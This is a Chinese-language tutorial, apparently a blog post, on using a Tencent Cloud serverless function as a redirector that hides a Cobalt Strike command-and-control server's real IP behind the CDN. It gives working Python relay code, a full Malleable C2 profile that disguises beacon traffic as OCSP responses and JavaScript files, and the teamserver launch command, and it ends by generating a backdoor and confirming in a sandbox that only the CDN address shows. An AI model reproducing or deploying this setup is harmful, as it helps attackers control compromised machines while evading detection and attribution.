1、简介
腾讯云函数,可以为企业和开发者提供无服务器执行环境,无需购买和管理服务器,只需要在腾讯云上使用平台支持的语言编写核心代码并设置代码运行的条件,即可在腾讯云基础设施上弹性 安全地运行代码。
C2服务器所有流量通过腾讯云函数进行转发,由于腾讯云函数自带CDN,能很好地隐藏C2服务器真实ip地址。
2、创建云函数
登录腾讯云-云产品-云函数-函数服务-新建
![在这里插入图片描述](https://img-blog.csdnimg.cn/50f40b33b3eb4604b0e41c66ec97ea4b.png
3、创建函数服务
选择从头开始->函数类型选择事件函数->函数名称任意->运行环境选择python3.6->并复制如下代码将代码中的C2服务器修改为自己C2服务器ip->点击完成
-*- coding: utf8 -*-
import json,requests,base64
def main_handler(event, context):
C2='https://XXXX' # 修改为自己C2服务器地址
path=event['path']
headers=event['headers']
print(event)
if event['httpMethod'] == 'GET' :
resp=requests.get(C2+path,headers=headers,verify=False)
else:
resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)
print(resp.headers)
print(resp.content)
response={
"isBase64Encoded": True,
"statusCode": resp.status_code,
"headers": dict(resp.headers),
"body": str(base64.b64encode(resp.content))[2:-1]
}
return response
4、创建触发器
触发方式选择API网关触发->启用集成响应(集成响应不勾选的话,返回的数据格式是 JSON 的格式,对二进制数据不太支持)->点击提交
5、配置触发器
● 点击API服务名对触发器进行配置
● 将路径修改为/,然后点击立即完成
● 发布服务
6、配置C2服务器服务端
● 服务端新建配置文件cloud.profile,代码如下:
set sample_name "t";
set sleeptime "3000";
set jitter "0";
set maxdns "255";
set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";
http-get {
set uri "/api/x";
client {
header "Accept" "*/*";
metadata {
base64;
prepend "SESSIONID=";
header "Cookie";
}
}
server {
header "Content-Type" "application/ocsp-response";
header "content-transfer-encoding" "binary";
header "Server" "Nodejs";
output {
base64;
print;
}
}
}
http-stager {
set uri_x86 "/vue.min.js";
set uri_x64 "/bootstrap-2.min.js";
}
http-post {
set uri "/api/y";
client {
header "Accept" "*/*";
id {
base64;
prepend "JSESSION=";
header "Cookie";
}
output {
base64;
print;
}
}
server {
header "Content-Type" "application/ocsp-response";
header "content-transfer-encoding" "binary";
header "Connection" "keep-alive";
output {
base64;
print;
}
}
}
● 启动C2服务器./teamserver vpsIP 密码 cloud.profile
7、配置CS客户端
启用cs客户端-添加监听器
8、生成后门进行测试
通过微步云沙箱检测,后门连接地址为腾讯CDN地址,隐藏了C2服务器真实ip